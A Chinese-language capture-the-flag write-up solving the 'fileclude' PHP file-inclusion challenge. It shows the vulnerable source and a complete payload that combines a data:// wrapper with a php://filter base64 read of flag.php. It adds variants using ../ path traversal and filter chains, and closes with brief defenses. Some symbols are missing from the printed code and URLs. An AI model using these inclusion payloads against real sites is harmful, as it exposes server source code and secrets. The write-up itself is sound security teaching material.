攻防世界fileclude题解:手把手教你用php伪协议绕过文件包含限制
攻防世界fileclude题解PHP伪协议实战绕过文件包含限制在CTF竞赛和网络安全实战中文件包含漏洞一直是高频考点。攻防世界的fileclude题目巧妙地将基础文件包含与PHP伪协议结合考察选手对协议封装器的灵活运用能力。本文将深入剖析如何利用php://filter和data://协议突破限制从零开始构建有效payload。1. 理解题目核心逻辑首先我们需要分析题目给出的PHP代码片段?php include(flag.php); highlight_file(__FILE__); if(isset($_GET[file1]) isset($_GET[file2])) { $file1 $_GET[file1]; $file2 $_GET[file2]; if(!empty($file1) !empty($file2)) { if(file_get_contents($file2) hello ctf) { include($file1); } } else die(NONONO); }这段代码存在两个关键控制点双参数校验必须同时传入file1和file2参数且不能为空内容验证file2的内容必须严格等于字符串hello ctf文件包含点通过include函数动态加载file1指定的文件2. 突破限制的关键技术2.1 data://协议构造验证内容要满足file_get_contents($file2) hello ctf的条件最直接的方案是使用data://协议。这个协议允许我们直接在URL中嵌入数据内容data://text/plain,hello ctf这种写法的特点是协议头声明数据格式为纯文本逗号后直接跟需要验证的字符串内容不需要任何编码转换即可通过严格比较2.2 php://filter读取源代码由于flag.php被直接包含时会执行PHP代码我们需要通过编码转换来获取其源代码。php://filter协议链可以帮我们实现php://filter/convert.base64-encode/resourceflag.php这个协议链的工作流程打开flag.php文件资源通过convert.base64-encode过滤器处理内容输出经过Base64编码的结果3. 完整Payload构造结合上述分析我们可以构建完整的攻击URL?file1php://filter/convert.base64-encode/resourceflag.phpfile2data://text/plain,hello ctf参数分解说明参数名协议类型功能说明file1php://filter读取flag.php的base64编码内容file2data://提供验证字符串hello ctf4. 结果解码与验证服务器响应会返回类似如下的Base64编码字符串PD9waHAKJGZsYWcgPSAiZmxhZ3t0aGlzX2lzX2FfZmxhZ30iOwo/Pg使用base64解码后即可获得flag.php的原始内容?php $flag flag{this_is_a_flag}; ?5. 高级技巧与变种5.1 编码优化方案当遇到特殊字符过滤时可以考虑对data://内容进行编码data://text/plain;base64,aGVsbG8gY3Rm其中aGVsbG8gY3Rm是hello ctf的Base64编码形式。5.2 路径遍历技巧如果flag.php不在当前目录可以尝试相对路径php://filter/convert.base64-encode/resource../flag.php5.3 多过滤器组合php://filter支持过滤器链例如同时进行压缩和编码php://filter/zlib.deflate/convert.base64-encode/resourceflag.php6. 防御方案与思考虽然这不是本文的重点但理解防御措施能帮助我们更深入掌握漏洞原理。开发者可以设置open_basedir限制文件访问范围禁用危险协议allow_url_includeOff对输入参数进行白名单校验使用realpath()解析最终路径在实际CTF比赛中这类题目往往会增加更多过滤条件比如禁用data://协议检查文件扩展名限制协议类型要求特定前缀等遇到这些情况时需要灵活组合各种协议和编码方式例如尝试使用php://input配合POST数据或者利用压缩流过滤器绕过内容检查。